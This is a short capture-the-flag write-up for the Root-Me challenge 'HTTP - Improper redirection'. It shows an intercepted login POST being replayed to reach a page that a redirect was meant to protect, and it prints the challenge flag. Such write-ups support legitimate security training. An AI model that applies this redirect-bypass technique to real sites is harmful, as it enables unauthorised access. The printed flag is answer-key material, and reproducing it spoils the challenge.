# HTTP - Improper redirection

> Get access to index.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FN7LJvJ2AgbnRZmxAf5YM%2F1.png?alt=media&#x26;token=3654e6d5-44da-4a8d-a774-0e99dc45d9c9" alt=""><figcaption></figcaption></figure>

Let's enter `admin` in both the fields and intercept the request.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F3dL4kSZasYF6DUDsiBfi%2F2.png?alt=media&#x26;token=4c9b84f1-8d29-44a0-94ee-f6b8feba784e" alt=""><figcaption></figcaption></figure>

We can now forward the request to the `Repeater` and modify it.

## HTTP Request

```
POST /web-serveur/ch32/index.php HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://challenge01.root-me.org
DNT: 1
Connection: close
Cookie: _ga_SRYSKX09J7=GS1.1.1697428943.14.1.1697430697.0.0.0; _ga=GA1.1.1863804672.1697290591
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

login=admin&password=admin
```

Finally we have to send it to the server.&#x20;

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FWnQVz1UQC3uJ2xPwfr65%2F3.png?alt=media&#x26;token=92831c33-327c-443d-9423-5785e322fa4e" alt=""><figcaption></figcaption></figure>

## Flag

```
ExecutionAfterRedirectIsBad
```
